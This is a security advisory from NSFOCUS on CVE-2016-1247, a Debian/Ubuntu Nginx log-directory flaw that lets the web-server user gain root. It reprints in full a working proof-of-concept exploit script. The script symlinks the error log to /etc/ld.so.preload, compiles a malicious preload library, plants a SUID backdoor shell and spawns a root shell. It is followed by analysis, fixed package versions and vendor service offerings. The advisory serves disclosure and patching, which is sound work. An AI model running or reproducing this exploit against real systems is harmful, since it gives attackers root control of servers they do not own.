Nginx Local Privilege Escalation Vulnerability Technical Analysis and Solution

On November 15, 2016 (local time), legalhackers.com released an advisory about a privilege escalation vulnerability, assigned CVE-2016-1247, found in the Nginx server. Nginx web server packaging on Debian-based distributions, such as Debian or Ubuntu, was found to allow creating log directories with insecure permissions. Attackers could exploit this security issue to escalate their privileges from Nginx/web user to root.For details, click the following link:http://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html

What Is Nginx?

Nginx (pronounced “engine x”) is a web server. It can act as a reverse proxy server for HTTP, HTTPS, SMTP, POP3, and IMAP protocols, as well as a load balancer and an HTTP cache. Nginx was originally developed to fill the needs of large web portals and the search engine Rambler in Russia. Released under the terms of a BSD-like license, Nginx runs on such operating systems as UNIX, GNU/Linux, BSD, Mac OS X, Solaris, and Microsoft Windows. (Translated from an article about Nginx on https://zh.wikipedia.org/wiki/Nginx.)

Vulnerability Verification

Following is the PoC code written by Dawid Golunski.

------------[ nginxed-root.sh ]--------------

#!/bin/bash
#
# Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit
# nginxed-root.sh (ver. 1.0)
#
# CVE-2016-1247
#
# Discovered and coded by:
#
# Dawid Golunski
# dawid[at]legalhackers.com
#
# https://legalhackers.com
#
# Follow https://twitter.com/dawid_golunski for updates on this advisory.
#
# ---
# This PoC exploit allows local attackers on Debian-based systems (Debian, Ubuntu
# etc.) to escalate their privileges from nginx web server user (www-data) to root 
# through unsafe error log handling.
#
# The exploit waits for Nginx server to be restarted or receive a USR1 signal.
# On Debian-based systems the USR1 signal is sent by logrotate (/etc/logrotate.d/nginx)
# script which is called daily by the cron.daily on default installations.
# The restart should take place at 6:25am which is when cron.daily executes.
# Attackers can therefore get a root shell automatically in 24h at most without any admin
# interaction just by letting the exploit run till 6:25am assuming that daily logrotation 
# has been configured. 
#
#
# Exploit usage:
# ./nginxed-root.sh path_to_nginx_error.log 
#
# To trigger logrotation for testing the exploit, you can run the following command:
#
# /usr/sbin/logrotate -vf /etc/logrotate.d/nginx
#
# See the full advisory for details at:
# https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
#
# Video PoC:
# https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
#
#
# Disclaimer:
# For testing purposes only. Do no harm.
#

BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/nginxrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"

function cleanexit {
    # Cleanup 
    echo -e "\n[+] Cleaning up..."
    rm -f $PRIVESCSRC
    rm -f $PRIVESCLIB
    rm -f $ERRORLOG
    touch $ERRORLOG
    if [ -f /etc/ld.so.preload ]; then
        echo -n > /etc/ld.so.preload
    fi
    echo -e "\n[+] Job done. Exiting with code $1 \n"
    exit $1
}

function ctrl_c() {
        echo -e "\n[+] Ctrl+C pressed"
    cleanexit 0
}

#intro 

cat <<_eascii_
 _______________________________
< Is your server (N)jinxed ? ;o >
 -------------------------------
           \ 
            \          __---__
                    _-       /--______
               __--( /     \ )XXXXXXXXXXX\v.  
             .-XXX(   O   O  )XXXXXXXXXXXXXXX- 
            /XXX(       U     )        XXXXXXX\ 
          /XXXXX(              )--_  XXXXXXXXXXX\ 
         /XXXXX/ (      O     )   XXXXXX   \XXXXX\ 
         XXXXX/   /            XXXXXX   \__ \XXXXX
         XXXXXX__/          XXXXXX         \__---->
 ---___  XXX__/          XXXXXX      \__         /
   \-  --__/   ___/\  XXXXXX            /  ___--/=
    \-\    ___/    XXXXXX              '--- XXXXXX
       \-\/XXX\ XXXXXX                      /XXXXX
         \XXXXXXXXX   \                    /XXXXX/
          \XXXXXX      >                 _/XXXXX/
            \XXXXX--__/              __-- XXXX/
             -XXXXXXXX---------------  XXXXXX-
                \XXXXXXXXXXXXXXXXXXXXXXXXXX/
                  ""VXXXXXXXXXXXXXXXXXXV""
_eascii_

echo -e "\033[94m \nNginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) \nnginxed-root.sh (ver. 1.0)\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m"

# Args
if [ $# -lt 1 ]; then
    echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
    echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
    exit 3
fi

# Priv check

echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m"
id | grep -q www-data
if [ $? -ne 0 ]; then
    echo -e "\n[!] You need to execute the exploit as www-data user! Exiting.\n"
    exit 3
fi

# Set target paths
ERRORLOG="$1"
if [ ! -f $ERRORLOG ]; then
    echo -e "\n[!] The specified Nginx error log ($ERRORLOG) doesn't exist. Try again.\n"
    exit 3
fi

# [ Exploitation ]

trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
       #include <sys/types.h>
       #include <sys/stat.h>
       #include <fcntl.h>

uid_t geteuid(void) {
    static uid_t  (*old_geteuid)();
    old_geteuid = dlsym(RTLD_NEXT, "geteuid");
    if ( old_geteuid() == 0 ) {
        chown("$BACKDOORPATH", 0, 0);
        chmod("$BACKDOORPATH", 04777);
        unlink("/etc/ld.so.preload");
    }
    return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
    echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
    cleanexit 2;
fi


# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check
if [ -f /etc/ld.so.preload ]; then
    echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
    exit 2
fi

# Symlink the log file
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
    echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
    cleanexit 3
fi
echo -e "\n[+] The server appears to be \033[94m(N)jinxed\033[0m (writable logdir) ! :) Symlink created at: \n`ls -l $ERRORLOG`"

# Make sure the nginx access.log contains at least 1 line for the logrotation to get triggered
curl http://localhost/ >/dev/null 2>/dev/null
# Wait for Nginx to re-open the logs/USR1 signal after the logrotation (if daily 
# rotation is enable in logrotate config for nginx, this should happen within 24h at 6:25am)
echo -ne "\n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..."
while :; do 
    sleep 1
    if [ -f /etc/ld.so.preload ]; then
        echo $PRIVESCLIB > /etc/ld.so.preload
        rm -f $ERRORLOG
        break;
    fi
done

# /etc/ld.so.preload should be owned by www-data user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
chmod 755 /etc/ld.so.preload

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo 2>/dev/null >/dev/null

# Check for the rootshell
ls -l $BACKDOORPATH
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then 
    echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
    echo -e "\n\033[94mThe server is (N)jinxed ! ;) Got root via Nginx!\033[0m"
else
    echo -e "\n[!] Failed to get root"
    cleanexit 2
fi

rm -f $ERRORLOG
echo > $ERRORLOG
 
# Use the rootshell to perform cleanup that requires root privilges
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
# Reset the logging to error.log
$BACKDOORPATH -p -c "kill -USR1 `pidof -s nginx`"

# Execute the rootshell
echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -i

# Job done.
cleanexit 0

Vulnerable and Fixed Packages

  1. Debian
Figure 1 Vulnerable and fixed Debian packages

Figure 1 Vulnerable and fixed Debian packages

  1. Ubuntu

Ubuntu has fixed the following versions:

Figure 2 Fixed Ubuntu versions

Figure 2 Fixed Ubuntu versions

Vulnerability Analysis

Nginx, after being installed, creates the Nginx log directory (…/log/nginx) with user permissions. Therefore, during system operation, attackers can manipulate files in this directory. Permissions for this directory are shown in the following figure.

Figure 3 Permissions for the /log/nginx directory

Figure 3 Permissions for the /log/nginx directory

With user permissions for the /log/nginx directory, local users can change log files in this directory with a symlink to an arbitrary file. Besides, Nginx performs write operations on files linked to logs when restarting or receiving a USR1 process signal. Because of these, attacker can escalate their privileges.

After replacing log files with a symlink, attackers need to wait for the Nginx daemon to reopen these log files. For this to happen, Nginx needs to be restarted or the daemon needs to receive a USR1 process signal.

However, on a Debian-based system, the USR1 signal is sent automatically through the logrotate script that calls the do_rotate() function.

Figure 4 logrotate script

Figure 4 logrotate script

Figure 5 do_rotate() function

Figure 5 do_rotate() function

The logrotate script is executed on default system installations at 6:25 a.m. every day.

Figure 6 Scheduled task

Figure 6 Scheduled task

Therefore, attackers can escalate their privileges within 24 hours. Following is an analysis of the PoC. Parameters are set as follows:

Figure 7 Parameters in the PoC

Figure 7 Parameters in the PoC

The program first checks whether the path to error.log typed by the user is correct.

Figure 8 Check of the path to error.log

Figure 8 Check of the path to error.log

Compile the privilege escalation file as follows:

Figure 9 Compilation of the privilege escalation file

Figure 9 Compilation of the privilege escalation file

Prepare the backdoor shell:

Figure 10 Backdoor shell

Figure 10 Backdoor shell

Delete error.log and create a symlink to point to /etc/ld.so.preload:

Figure 11 Creation of a symlink

Figure 11 Creation of a symlink

After all is ready, wait for error.log to reopen.

Figure 12 Wait for error.log to reopen

Figure 12 Wait for error.log to reopen

Change access permissions for /etc/ld.so.preload:

Figure 13 Change of permissions for /etc/ld.so.preload

Figure 13 Change of permissions for /etc/ld.so.preload

Escalate privileges via the SUID binary:

Figure 14 Privilege escalated via SUID

Figure 14 Privilege escalated via SUID

Check for the rootshell:

Figure 15 Check for the rootshell

Figure 15 Check for the rootshell

Execute the rootshell:

Figure 16 Execution of the rootshell

Figure 16 Execution of the rootshell

The final execution result is as follows:

Figure 17 Execution result

Figure 17 Execution result

Key points for triggering the vulnerability:

  1. The /var/log/nginx directory is owned by a non-root user who has the write permission.
  2. As the /etc/ld.so.preload file needs to be written into the PoC, the write permission for this file is required.
Figure 18 Write of privilege escalation functions into /etc/ld.so.preload

Figure 18 Write of privilege escalation functions into /etc/ld.so.preload

Figure 19 Execution failure caused by inability to write /etc/ld.so.preload

Figure 19 Execution failure caused by inability to write /etc/ld.so.preload

Vendor Solutions

Debian and Ubuntu have fixed this vulnerability. Users are advised to upgrade to a version not affected by this vulnerability. Download links are as follows:

  • Debian

Nginx package

https://sources.debian.net/src/nginx/

  • Ubuntu 16.10

Nginx package 1.10.1-0ubuntu1.1

https://launchpad.net/ubuntu/+source/nginx/1.10.1-0ubuntu1.1

  • Ubuntu 16.04 LTS

Nginx package 1.10.0-0ubuntu0.16.04.3

https://launchpad.net/ubuntu/+source/nginx/1.10.0-0ubuntu0.16.04.3

  • Ubuntu 14.04 LTS

Nginx package 1.4.6-1ubuntu3.6

https://launchpad.net/ubuntu/+source/nginx/1.4.6-1ubuntu3.6

Recommended Solutions

  • Products

 

  • Use the emergency vulnerability detection service of NSFOCUS Cloud by downloading the detection script to check the vulnerability. The service is available at the following link:

https://cloud.nsfocus.com/#/krosa/views/initcdr/productandservice?service_id=1026

  • Authorize NSFOCUS RSAS to check services.
  • Services

 

  • Short-term service: Contact NSFOCUS engineers for onsite handling (penetration testing + emergency response) to ensure that risk points are immediately eliminated in the network and the event impact is minimized. After the handling, an event analysis report is provided.
  • Mid-term service: NSFOCUS provides 3- to 6-month risk monitoring and preventive maintenance inspection (PMI) services to eradicate risks and prevent events from recurring.
  • Long-term service: NSFOCUS provides industry-specific risk mitigation solutions (threat intelligence + attack traceback + professional security service).

Statement

==========

This advisory is only used to describe a potential risk. NSFOCUS does not provide any commitment or promise on this advisory. NSFOCUS and the author will not bear any liability for any direct and/or indirect consequences and losses caused by transmitting and/or using this advisory. NSFOCUS reserves all the rights to modify and interpret this advisory. Please include this statement paragraph when reproducing or transferring this advisory. Do not modify this advisory, add/delete any information to/from it, or use this advisory for commercial purposes without permission from NSFOCUS.

About NSFOCUS

============

NSFOCUS IB is a wholly owned subsidiary of NSFOCUS, an enterprise application and network security provider, with operations in the Americas, Europe, the Middle East, Southeast Asia and Japan. NSFOCUS IB has a proven track record of combatting the increasingly complex cyber threat landscape through the construction and implementation of multi-layered defense systems. The company’s Intelligent Hybrid Security strategy utilizes both cloud and on-premises security platforms, built on a foundation of real-time global threat intelligence, to provide unified, multi-layer protection from advanced cyber threats.

For more information about NSFOCUS, please visit:

http://www.nsfocusglobal.com.

NSFOCUS, NSFOCUS IB, and NSFOCUS, INC. are trademarks or registered trademarks of NSFOCUS, Inc. All other names and trademarks are property of their respective firms.

Spread the word. Share this post!

Meet The Author

Leave Comment